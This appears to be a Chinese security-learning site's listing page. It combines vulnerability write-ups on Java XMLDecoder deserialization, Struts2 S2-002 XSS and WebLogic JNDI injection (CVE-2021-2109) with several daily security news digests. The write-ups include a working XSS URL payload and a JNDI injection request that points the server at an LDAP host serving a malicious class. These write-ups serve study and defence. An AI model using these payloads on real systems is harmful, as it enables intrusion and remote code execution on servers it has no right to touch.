doPrivileged:-1, AccessController (java.security)
invoke:182, Statement (java.beans)
getValue:155, Expression (java.beans)
getValueObject:166, ObjectElementHandler (com.sun.beans.decoder)
getValueObject:123, NewElementHandler (com.sun.beans.decoder)
endElement:169, ElementHandler (com.sun.beans.decoder)
endElement:318, DocumentHandler (com.sun.beans.decoder)
endElement:609, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
scanEndElement:1782, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
next:2967, XMLDocumentFragmentScannerImpl$FragmentContentDriver (com.sun.org.apache.xerces.internal.impl)
next:602, XMLDocumentScannerImpl (com.sun.org.apache.xerces.internal.impl)
scanDocument:505, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
parse:842, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:771, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:141, XMLParser (com.sun.org.apache.xerces.internal.parsers)
parse:1213, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
parse:643, SAXParserImpl$JAXPSAXParser (com.sun.org.apache.xerces.internal.jaxp)
parse:327, SAXParserImpl (com.sun.org.apache.xerces.internal.jaxp)
run:375, DocumentHandler$1 (com.sun.beans.decoder)
run:372, DocumentHandler$1 (com.sun.beans.decoder)
doPrivileged:-1, AccessController (java.security)
doIntersectionPrivilege:74, ProtectionDomain$JavaSecurityAccessImpl (java.security)
parse:372, DocumentHandler (com.sun.beans.decoder)
run:201, XMLDecoder$1 (java.beans)
run:199, XMLDecoder$1 (java.beans)
doPrivileged:-1, AccessController (java.security)
parsingComplete:199, XMLDecoder (java.beans)
readObject:250, XMLDecoder (java.beans)
main:20, xmldecode (xml)
比较关键的处理逻辑是在 com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl#scanDocument 开始对 xml 进行解析
先简单描述一下我的理解,然后再截图与之相对应,可能部分理解并不完全正确
根据 xml 文件的中的标识来识别开始还是结束 < 对应着开始,</ 对应着结束
解析时会调用相对应的 Handler 进行处理,Handler 在 DocumentHandler.class 中被定义,通过节点名获取对应的handler
解析到结束标识时会调用到相对应的 Handler 中的 getValueObject 方法 最后实现命令执行(这里描述比较简单,后面根据代码在详细描述)
com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl#scanDocument
这里是一个 do while 的循环 直到匹配到结束标识 XMLStreamConstants.END_DOCUMENT
com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl#next
com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl.XMLDeclDriver#next
com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl.PrologDriver#next
com.sun.beans.decoder.DocumentHandler#DocumentHandler
对应的 Handler 是根据节点返回的,最主要的漏洞触发位置应该是endElement 中
com.sun.org.apache.xerces.internal.parsers.AbstractSAXParser#endElement
com.sun.beans.decoder.DocumentHandler#endElement
调用 StringElementHandler 对应的 endElement 方法 ,StringElementHandler 没有这个方法,调用其父类 ElementHandler 中 endElement
com.sun.beans.decoder.ElementHandler#endElement
com.sun.beans.decoder.StringElementHandler#getValueObject
最后返回获取到的值是 calc 添加到其父类对应的 Argument 属性
com.sun.beans.decoder.NewElementHandler#addArgument
接着将 handler 指向上一级的 handler VoidElementHandler
调用 VoidElementHandler 对应的 endElement 方法 ,VoidElementHandler 没有这个方法,调用其父类 ObjectElementHandler 的父类NewElementHandler 的父类 ElementHandler 中 endElement
com.sun.beans.decoder.ElementHandler#endElement
com.sun.beans.decoder.NewElementHandler#getValueObject()
com.sun.beans.decoder.ObjectElementHandler#getValueObject
执行完后又有一个 <void method="start"></void>
调试返回的结果
com.sun.beans.decoder.DocumentHandler#endElement
com.sun.beans.decoder.ElementHandler#endElement
com.sun.beans.decoder.NewElementHandler#getValueObject()
com.sun.beans.decoder.ObjectElementHandler#getValueObject
com.sun.beans.decoder.NewElementHandler#getContextBean
com.sun.beans.decoder.ElementHandler#getContextBean
com.sun.beans.decoder.NewElementHandler#getValueObject()
com.sun.beans.decoder.ObjectElementHandler#getValueObject
com.sun.beans.decoder.NewElementHandler#getContextBean
com.sun.beans.decoder.ObjectElementHandler#getValueObject
com.sun.beans.decoder.NewElementHandler#getValueObject()
com.sun.beans.decoder.ElementHandler#getContextBean
com.sun.beans.decoder.NewElementHandler#getContextBean
继续执行,最终触发命令执行
com.sun.beans.decoder.ObjectElementHandler#getValueObject
后一部分很像套娃
整个过程冗长繁琐,建议自己调试分析一下,可能了解的更加清楚。
Java Struts2系列的XSS漏洞(S2-002)
0x01 前言
复现一下 S2-002 的洞
0x02 S2-002
漏洞简介
Struts2-002 是一个 XSS 漏洞,该漏洞发生在 s:url 和 s:a 标签中,当标签的属性 includeParams=all 时,即可触发该漏洞。
漏洞影响版本
Struts 2.0.0 - Struts 2.1.8.1
0x03 环境搭建
如果不想手动搭建的话,环境我已经配好了 https://github.com/Drun1baby/JavaSecurityLearning/tree/main/JavaSecurity/Struts2/S2-002AndS2-006
因为 s2-002 的洞是一个 XSS,与处理的 Action 没有任何关系,所以这里我们只需要配置 .jsp 文件,以及 .xml 文件
resources 文件夹下
struts.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<package name="S2-002" extends="struts-default">
<action name="login" class="com.drunkbaby.action.LoginAction" method="execute">
<result name="success">welcome.jsp</result>
<result name="error">index.jsp</result>
</action>
</package>
</struts>
webapp 文件夹下
index.jsp
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-002</title>
</head>
<body>
<h2>S2-002 Demo</h2>
<s:url action="login" includeParams="all"></s:url>
<s:a href="%{url}">click</s:a>
</body>
</html>
welcome.jsp
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-002</title>
</head>
<body>
<p>Hello <s:property value="username"></s:property></p>
</body>
</html>
接着在 WEB-INF 下,web.xml
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
<display-name>S2-002 Example</display-name>
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<welcome-file-list>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>
</web-app>
项目结构如图,至此环境搭建完毕
0x04 漏洞复现与分析
http://localhost:8080/?%22%3E%3Cscript%3Ealert(1)%3C/script%3E%3C%22
漏洞分析
之前自己也没有分析过 XSS 相关的漏洞,在最后我会做一个小结来思考一下如何自己挖掘出这个漏洞
我们先下一个断点在 org.apache.struts2.views.jsp.ComponentTagSupport#doStartTag() 方法处,开始调试
当在 JSP 文件中遇到 Struts2 标签 <s: 时,程序会先调用 doStartTag() 方法 ,并将标签中的属性设置到对应标签对象相应属性中。最后,在遇到 /> 结束标签的时候调用 doEndTag() 方法。
进入到了 index.jsp
跟进 this.component.start()
在 index.jsp 中 includeParams=all,往下看代码知道 88 行,跟进 mergeRequestParameters() 方法
在 includeParams=all 的情况下会调用 mergeRequestParameters() 将 Tomcat 处取来的参数,这里取到了我们输入的 payload,并且保存在 this.parameters 中
mergeRequestParameters() 方法运行完毕,往下是 includeGetParameters() 方法,也跟进去看一下;发现也是调用了 mergeRequestParameters(),同样是保存在了 this.parameters 中,不过这一次保存的是经过 url 编码的数据
继续往下,程序还调用了 includeExtraParameters() 方法,跟进;这里的意思是如果有额外的参数,会被保存进这里,然后再保存到 this.paramters
其实到这里漏洞出发点就来了,第一次调用 mergeRequestParameters() 方法的时候那一段参数是未经过 URL 编码的,从而产生了 XSS
在执行完毕 doStartTag() 方法之后,会去到 doEndTag() 方法,我们跟进 this.component.end(),this.component 是 URL 类,所以也就是调用了 URL.end()
往下走,第 146 行,判断目前调度器(Dispatcher)的实例是否支持这一 Struts2 组件的行为,并且判断这一个请求是否需要 Struts2 组件调用某 Action 来处理;如果不需要调用 Action 处理,则直接进入 buildUrl() 的代码逻辑,如果需要 Action 来处理,会先去选择/调用 Action,再进行后续操作。
其实也就是 Struts2 运行的基本逻辑
此处因为我们定义了 action=login,所以进入到了 else 的代码逻辑,跟进 this.determineActionURL() 方法
determineActionURL() 方法先定位到了对应的 action,再进行 buildUrl() 的操作,跟进 buildUrl()
再跟进
此时的 params 即将会被拿去拼接,造成触发 XSS 漏洞
具体拼接是在 115 行的 buildParametersString() 方法,跟进再跟进
至此,漏洞分析结束
漏洞修复
修改 pom.xml,将 Struts2 版本提升至 2.0.11(这是根据公告的,其实并没有真正解决漏洞)
经过对 2.0.11.1 的代码阅读,在 UrlHelper 类 buildUrl() 方法里,第 136 行增加了如下修复代码:
// link是最终的生成的url
for(result = link.toString();
result.indexOf("<script>") > 0;
result = result.replaceAll("<script>", "script")) {
}
太鸡肋,基本算不上修复。。。
0x05 小结
因为是 XSS 漏洞,成因基本都是未进行 URL 编码或某种转码,所以我们可以去看处理参数的过程进行漏洞挖掘。
S2-002 还是比较简单的一个漏洞。
网络安全日报 2023年03月06日
1、研究人员发现针对Redis服务器的Cryptojacking勒索攻击
https://securityaffairs.com/142910/cyber-crime/cryptojacking-campaign-targets-redis.html Cado Labs研究人员最近发现了一个新的勒索攻击活动,其目标是配置不安全Redis的数据库服务器。该活动背后的威胁参与者使用了免费和开源的合法命令行文件传输服务transfer.sh,可能以此来逃避检测。
2、英国零售商WH Smith披露员工数据泄露事件
https://www.govinfosecurity.com/british-retailer-wh-smith-discloses-breach-employee-data-a-21350 机场特许经营商和主要街道零售商 WH Smith 是近几个月来最新一家宣布遭到黑客攻击并遭受数据泄露的英国大企业。WH Smith 周四表示,它遭受了网络攻击,导致与现任和前任员工有关的数据暴露。这家总部位于英国斯温顿的公司在伦敦证券交易所上市,该公司表示,似乎没有关于客户的信息被泄露,其网站也没有受到攻击的影响。
3、报告称攻击者将新漏洞投入攻击的间隔逐渐缩短
https://www.helpnetsecurity.com/2023/03/03/attackers-developing-deploying-exploits/ 据Rapid7称,虽然 2022 年新漏洞的广泛利用有所减少,但由于广泛的机会主义攻击继续构成威胁,风险仍然很大。攻击者正在以前所未有的速度开发和部署漏洞。56%的漏洞在公开披露后 7 天内被利用——比 2021 年增加12%,比2020年增加 87%。在2022年,利用时间的中位数仅为一天。
4、Play勒索软件声称对奥克兰市进行了破坏性攻击
https://www.bleepingcomputer.com/news/security/play-ransomware-claims-disruptive-attack-on-city-of-oakland/ Play勒索软件团伙声称对自2月中旬以来对奥克兰市的IT系统进行的网络攻击负责。奥克兰是加利福尼亚州旧金山湾区东侧的一座城市,人口约44万。该市是该地区的经济主力。该市当局告知公众,它已于 2023 年 2 月 10 日成为 勒索软件攻击的目标 。它影响了除 911 调度、消防应急服务和城市金融系统之外的所有网络系统。
5、数万个网站因被网络攻击而重定向到不良网站
https://securityaffairs.com/142975/hacking/ftp-credentials-traffic-redirection-campaign.html 网络安全公司 Wiz 报告称,自2022年9月上旬以来,威胁者入侵了数万个针对东亚受众的网站,将数十万用户重定向到不良主题内容。威胁行为者使用用于管理 Web 应用程序的 FTP 客户端的合法凭据获得了对网站的访问权限。在某些情况下,攻击者使用的密码很强,不太可能包含在用于暴力攻击的字典中。
6、微软与MITRE联合推出针对机器学习的安全工具
https://www.helpnetsecurity.com/2023/03/03/microsoft-mitre-plug-in/ 由Microsoft和MITRE创建的新插件集成了各种开源软件工具,以帮助网络安全专业人员加强对机器学习 (ML) 系统攻击的防御。Arsenal工具实施了MITRE ATLAS框架中定义的战术和技术,并与 Microsoft 的 Counterfit 协作构建为自动对抗攻击库,因此安全从业者可以准确地模拟对包含 ML 的系统的攻击,而无需深入了解机器学习或人工智能。
7、研究人员发现针对ATM的新型恶意软件FiXS
https://securityaffairs.com/143022/malware/fixs-atm-malware-mexican-banks.html Metabase Q的研究人员发现了一种名为 FiXS 的新型 ATM 恶意软件,自 2023 年 2 月以来,该恶意软件被用于攻击墨西哥银行,该名称来自二进制文件中恶意软件的字符串代号。
8、谷歌云平台日志缺陷可能使数据泄露难以发现
https://www.helpnetsecurity.com/2023/03/01/gcp-data-exfiltration/ Mitiga 研究人员发现,攻击者可以窃取存储在谷歌云平台 (GCP) 存储桶中的公司数据,而不会在 GCP 的存储访问日志中留下明显的恶意活动取证痕迹。“这很容易导致数千或数百万次读取事件。无法识别特定的攻击模式,例如下载或复制到外部存储桶,这使得组织很难确定是否以及哪些信息被盗。”
9、报告称2022年网络钓鱼造成损失增加76%
https://www.hipaajournal.com/losses-to-phishing-attacks-increased-by-76-in-2022/ 根据 Proofpoint 最近发布的 2023 年网络钓鱼状况报告,去年网络钓鱼攻击造成的损失增加了 76%,近三分之一的公司因成功的网络钓鱼攻击而蒙受损失。2022 年,超过五分之四的受访组织至少经历了一次成功的网络钓鱼攻击,其中超过一半的组织至少经历了三次成功的网络钓鱼攻击。
10、无锡销毁首批10亿条涉疫个人数据
https://www.freebuf.com/news/359237.html 据无锡博报报道,3 月 2 日,按照《中华人民共和国数据安全法》《中华人民共和国个人信息保护法》等法律法规有关规定,无锡市举行涉疫个人数据销毁仪式,首批销毁数据 10 亿条,为确保数据彻底销毁、无法还原,邀请了第三方审计和公证处参与工作。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年03月03日
1、攻击者使用GootLoader和SocGholish恶意软件攻击律师事务所
https://securityaffairs.com/142888/cyber-crime/law-firms-gootloader-socgholish-malware.html eSentire 的研究人员在2023年1月和2月期间阻止了针对 6 家不同律师事务所的10次网络攻击。这些公司是两起旨在分发GootLoader和FakeUpdates(又名 SocGholish)恶意软件的不同攻击活动的一部分。
2、BidenCash网站上泄露了超过200万条信用卡信息
https://www.hackread.com/bidencash-leaks-2-million-credit-cards/ BidenCash是一个臭名昭著的在暗网和公网上都运行的银行卡市场,向公众提供被盗的信用卡详细信息。作为其周年促销活动的一部分,已经泄露了超过200万张有效信用卡。一年前泄露的数据集包含来自世界各地的银行卡信息,其中有相当一部分是在美国、中国、墨西哥、印度、加拿大和英国发行的。泄露的信息包括持卡人的全名、卡号、银行详细信息、有效期、卡验证值 (CVV) 号码、家庭住址和超过 500000 个电子邮件地址。
3、思科修复了IP电话中的多个Web UI RCE漏洞
https://www.bleepingcomputer.com/news/security/cisco-patches-critical-web-ui-rce-flaw-in-multiple-ip-phones/ 思科解决了在多个IP电话型号的 Web UI 中发现的一个严重安全漏洞,未经身份验证的远程攻击者可以利用该漏洞进行远程代码执行 (RCE) 攻击。RCE 漏洞 (CVE-2023-20078) 允许攻击者注入任意命令,这些命令将在成功利用后以 root 权限执行。该公司今天还披露了第二个高危漏洞 (CVE-2023-20079),该漏洞可被用来触发拒绝服务 (DoS) 。这两个
4、卡巴斯基发布《2022 年移动恶意软件威胁形势》报告
https://www.secrss.com/articles/52354 2022 年检测到 1661743 个恶意软件或不需要的软件安装程序,比 2021 年少了 1803013 个,该数字自 2020 年的增长以来一直在逐步下降。
5、GunAuction 网站被黑,56.5 万个账户数据被泄露
https://securityaffairs.com/142920/data-breach/gunauction-site-data-breach.html 黑客入侵了GunAuction.com,这是一个允许人们买卖枪支的网站。攻击者窃取了超过 550,000 名用户的敏感个人数据。泄露的客户数据包括全名、家庭住址、电子邮件地址、明文密码和电话号码。
6、Cryptojacking 活动针对配置错误的Redis 服务器
https://securityaffairs.com/142910/cyber-crime/cryptojacking-campaign-targets-redis.html Cado Security 的研究人员发现了针对配置错误的 Redis 数据库服务器的加密劫持活动。
7、黑客利用容器化环境窃取专有数据和软件
https://thehackernews.com/2023/03/hackers-exploit-containerized.html 一项名为SCARLETEEL 的复杂攻击活动针对容器化环境,以窃取专有数据和软件。Sysdig在一份新报告中表示:“攻击者利用容器化工作负载,然后利用它对 AWS 账户执行权限升级,以窃取专有软件和凭证。”
8、Aruba Networks 修复了 ArubaOS 中的六个关键漏洞
https://www.bleepingcomputer.com/news/security/aruba-networks-fixes-six-critical-vulnerabilities-in-arubaos/ Aruba Networks 发布了一份安全公告,告知客户影响其专有网络操作系统 ArubaOS 多个版本的六个严重漏洞。这些缺陷会影响 Aruba Mobility Conductor、Aruba 移动控制器以及 Aruba 管理的 WLAN 网关和 SD-WAN 网关。
9、2022 年政府断网次数创新记录
https://www.solidot.org/story?sid=74263 根据 Access Now 的报告,2022 年政府断网次数创新记录,35 个国家的政府断网至少 187 次,近半数断网发生在印度。
10、白宫发布国家网络安全战略
https://www.securityweek.com/white-house-releases-national-cybersecurity-strategy/ 美国国家网络安全战略推动监管、积极的“黑客攻击”行动。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
WebLogic JNDI 注入(CVE-2021-2109)
0x01 前言
学习一下 WebLogic JNDI 注入 RCE(CVE-2021-2109)
0x02 环境搭建
和之前 WebLogic 的环境搭建是一致的,本文不再赘述。
不过值得一提的是,我的 weblogic 版本是 10.3.6;需要手动添加 \server\lib\consoleapp\webapp\WEB-INF\lib\console.jar 到依赖里面
0x03 漏洞分析与复现
漏洞影响版本与前提条件
Oracle WebLogic Server 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0。
拥有访问 /console/consolejndi.portal 页面的用户权限,或者存在 CVE-2020-14883 未授权访问漏洞。关于未授权的漏洞我会放到 WebLogic 的另外一篇文章中再做分析
漏洞原理
WebLogic 的 /console/consolejndi.portal 接口可以调用存在 JNDI 注入漏洞的 com.bea.console.handles.JndiBindingHandle 类,从而造成 RCE。
漏洞复现
payload 如下
http://127.0.0.1:7001/console/css/%252e%252e%252fconsolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://127.0.0;1:1389/aew0xy;AdminServer%22)&&我本地开启了一个 JNDI 的 Evil Class 和 Server
用 payload 打成功
漏洞分析
根据 payload 分析,先从 consolejndi.portal 开始看起,.portal 文件就类似于一个 servlet,在 consolejndi.portal 中存在 JNDI Binding 操作的处理容器,如图
具体的处理逻辑在 /PortalConfig/jndi/jndibinding.portlet
去到 com.bea.console.actions.jndi.JNDIBindingActioncom.bea.console.actions.jndi.JNDIBindingAction 类中,发现存在一个 execute() 方法,疑似存在 jndi 注入的漏洞。
观察需要如何构造恶意 payload,c 是由 ConsoleUtils.initNamingContext(serverMBean); 得来,而 serverMBean 是通过 domainMBean.lookupServer(serverName); 得来,其中一系列关系我将会由下图说明
接着我们自上而下顺序看代码,先是强转了一个 JndiBindingHandle 类,这里面 getHandleContext() 的逻辑并不复杂,最终会调用 JndiBindingHandle 的构造函数。
如图,我们在 payload 当中的这一段被放进了构造函的 type 与 objectIdentifier 中,而 "ldapxxxx" 这一段会被放在 components 中,由分号分隔
JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle("ldap://127.0.0;1:1389/aew0xy;AdminServer")
继续往下看,我们想要进入 JNDI 注入的那一段代码,需要满足两个条件,一个是 serverMBean != null,另一个是 c != null,我们进到 serverMBean 看一下代码逻辑
lookupServer 是 DommainMBean 接口的方法,我们去看它的实现类
实际上这里是动态代理调用的,会自动跟进到 weblogic.management.jmx.MBeanServerInvocationHandler#invoke 下,其中 method 的值为 weblogic.management.configuration.DomainMBean#lookupServer,它的 method 代码逻辑在实现类当中,也就是 weblogic.management.configuration.DomainMBeanImpl#lookupServer
我们需要走到 do while 的逻辑里面,返回 var3,而不是返回 null
通过调试得到 var2 的值为 AdminServer,这里没有其他的值了,原因如图
所以此处要求我们输入的 var1 与 AdminServer 相同,回过头去看 var1 是什么呢,var1 其实是 serverName
发现 serverName 也是可控的
现在 serverBean != null 没问题,就要看 jndi lookup 的地址是否可控。
很明显,jndi lookup 的地址也是可控的
我们进到 JndiBindingHandle 类去看一下 set/getComponents() 的逻辑,先调用了 HandleImpl#getComponent
跟进
主要逻辑就是在讲,以 ; 分隔,如此一来,我们就可控 context 与 binding,可以进行 jndi 注入
最后捋一下整体条件
1、;号隔开 jndi 地址2、serverName 必须为 AdminServer
0x04 漏洞修复
根据 Y4er 师傅这里的说法是,对 Jndi 的黑名单进行了判断,如图
0x05 小结
不算难的一个漏洞,只是环境搭建当时踩了很多坑,欢迎师傅们与我交流踩坑问题,我会竭力帮助。
网络安全日报 2023年03月02日
1、APT-C-36(盲眼鹰)组织针对哥伦比亚发起攻击
https://blogs.blackberry.com/en/2023/02/blind-eagle-apt-c-36-targets-colombia APT-C-36(也称为盲眼鹰)至少自 2019 年以来一直在积极瞄准哥伦比亚和厄瓜多尔的组织。它依靠发送给特定公司的鱼叉式网络钓鱼电子邮件来开展攻击活动。2 月 20 日,黑莓研究和情报团队发现了一起新的活动,攻击者冒充哥伦比亚政府税务机构,针对哥伦比亚的关键行业,包括该国内卫生、金融、执法、移民和负责和平谈判的机构。
2、攻击者利用Parallax RAT攻击加密货币组织
https://www.uptycs.com/blog/cryptocurrency-entities-at-risk-threat-actor-uses-parallax-rat-for-infiltration 自2019年12月以来,Parallax RAT已通过垃圾邮件活动或网络钓鱼电子邮件(带附件)传播。该恶意软件执行的恶意活动包括读取登录凭据、访问文件、键盘记录、远程桌面控制等。Uptycs威胁研究团队最近检测到针对加密货币组织的Parallax远程访问木马 (RAT) 的活跃样本。它使用注入技术隐藏在合法进程中,使其难以检测。一旦成功注入,攻击者就可以通过可能用作通信渠道的Wi
3、LockBit对印度投资公司IL&FS实施了攻击
https://blog.cyble.com/2023/03/01/ransomware-attack-on-ilfs/ 勒索软件组织LockBit声称已于2023年2月28日入侵了一家印度投资公司Infrastructure Leasing & Financial Services Limited (IL&FS) 的网络。据称,勒索组织泄露了大量数据,包括合同、个人数据、护照、邮政信件和财务文件。为了表明数据的真实性,该组织发布了12张泄露数据的屏幕截图,泄露网站上的代码显示截止日期为2023年3月10日。之后,LockBit组织威胁要从他们失陷的服务器中删除数据并公开泄露。这是他们勒索受
4、Dish证实此前服务异常的原因为勒索攻击
https://www.bleepingcomputer.com/news/security/dish-network-confirms-ransomware-attack-behind-multi-day-outage/ 卫星广播提供商和电视巨头 Dish Network 最终证实,勒索软件攻击是导致周五开始的多日网络和服务中断的原因。据The Verge称,Dish Network 首先将网络和服务中断归咎于 VPN 问题 。在28日向美国证券交易委员会 (SEC) 提交的8-K 表格中,Dish Network表示“确定中断是由于网络安全事件造成的,并通知了相应的执法机构。”该公司补充
5、加拿大将禁止在政府移动设备上使用 TikTok
https://securityaffairs.com/142880/security/canada-bans-tiktok-government-devices.html 加拿大政府宣布,出于安全考虑,将禁止所有政府员工的设备使用视频应用程序 TikTok。
6、BlackLotus 成为首个Windows 11 上绕过 UEFI 安全启动的 bootkit
https://securityaffairs.com/142864/malware/blacklotus-bootkit-bypass-secure-boot-win11.html ESET 的研究人员发现了一种名为BlackLotus的新型隐蔽统一可扩展固件接口 ( UEFI ) 引导工具包,它能够绕过Windows 11 上的安全引导。BlackLotus 是第一个能够在完全最新的 Windows 11 系统上绕过安全功能的 UEFI bootkit。BlackLotus 恶意软件是一种 UEFI bootkit,至少从 2022 年 10 月起就可以在黑客论坛上出售。这款功能强大的恶
7、谷歌本周为 Workspace 客户全面开放Gmail 和日历的客户端加密
https://www.securityweek.com/google-workspace-client-side-encryption-now-generally-available-in-gmail-calendar/ 谷歌本周宣布,Gmail 和日历的客户端加密 (CSE) 现在已对 Workspace 客户全面开放使用。
8、视频营销软件 Animker 泄露大量用户数据
https://www.hackread.com/video-marketing-software-animker-data-leak 一个配置错误的数据库暴露了属于 getshow.io(一个一体化视频营销平台)和 animaker.com(一个 DIY 视频动画软件)网站的超过 700,000 名用户的测试和个人数据。
9、Lazarus 组织开始在攻击中应用反取证技术
https://www.freebuf.com/articles/network/358698.html 10、亚马逊、波音、宝马等软件供应商Beeline数据库遭攻击
https://www.freebuf.com/articles/database/359008.html 当地时间2月28日消息,美国软件公司Beeline的数据库被攻击者发布在黑客论坛上,数据库内包含亚马逊、瑞士信贷、3M、波音、宝马、戴姆勒、摩根大通、麦当劳、蒙特利尔银行等Beeline客户的数据。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

